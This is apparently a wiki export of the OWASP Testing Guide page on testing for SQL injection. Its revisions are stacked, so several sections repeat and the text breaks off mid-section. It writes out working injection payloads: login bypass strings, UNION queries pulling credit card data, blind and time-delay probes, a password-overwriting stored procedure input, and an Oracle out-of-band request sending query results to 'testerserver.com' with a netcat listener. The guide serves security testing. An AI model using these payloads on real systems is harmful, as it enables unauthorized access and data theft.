Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

==Tools==
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

== References ==

* [[Top 10 2013-A1-Injection]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:
* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Documentation on SQL injection vulnerabilities in products'''

* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

Testing for SQL Injection (OTG-INPVAL-005)

2016-03-09T03:05:19Z

Thompsnm: /* Out of band Exploitation technique */ - Fix typo

{{Template:OWASP Testing Guide v4}}

== Summary ==
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

==How to Test==

===Detection Techniques===
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

===Standard SQL Injection Testing===

====Example 1 (classical SQL Injection):====

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

====Example 2 (simple SELECT statement):====

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return some message telling us there is no content available or a blank page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

====Example 3 (Stacked queries):====

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row and independent of the first query.

===Fingerprinting the Database===

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

MS SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

===Exploitation Techniques ===

==== Union Exploitation Technique ====

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=$id</pre>

We will set the following $id value:

<pre>$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

We will have the following query:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>

If the query fails, the tester will probably see a message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

==== Boolean Exploitation Technique ====

The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': returns a substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

That creates the following query (from now on, we will call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

Which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

==== Error based Exploitation technique ====

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

==== Out of band Exploitation technique ====

This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

==== Time delay Exploitation technique ====

The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

==== Stored Procedure Injection ====

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters. 

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

==== Automated Exploitation ====

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

==Tools==
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

== References ==

* [[Top 10 2013-A1-Injection]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:
* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Documentation on SQL injection vulnerabilities in products'''

* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

Testing for SQL Injection (OTG-INPVAL-005)

2016-03-09T02:57:33Z

Thompsnm: /* Union Exploitation Technique */ - format code blocks; tweak grammar

{{Template:OWASP Testing Guide v4}}

== Summary ==
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

==How to Test==

===Detection Techniques===
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

===Standard SQL Injection Testing===

====Example 1 (classical SQL Injection):====

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

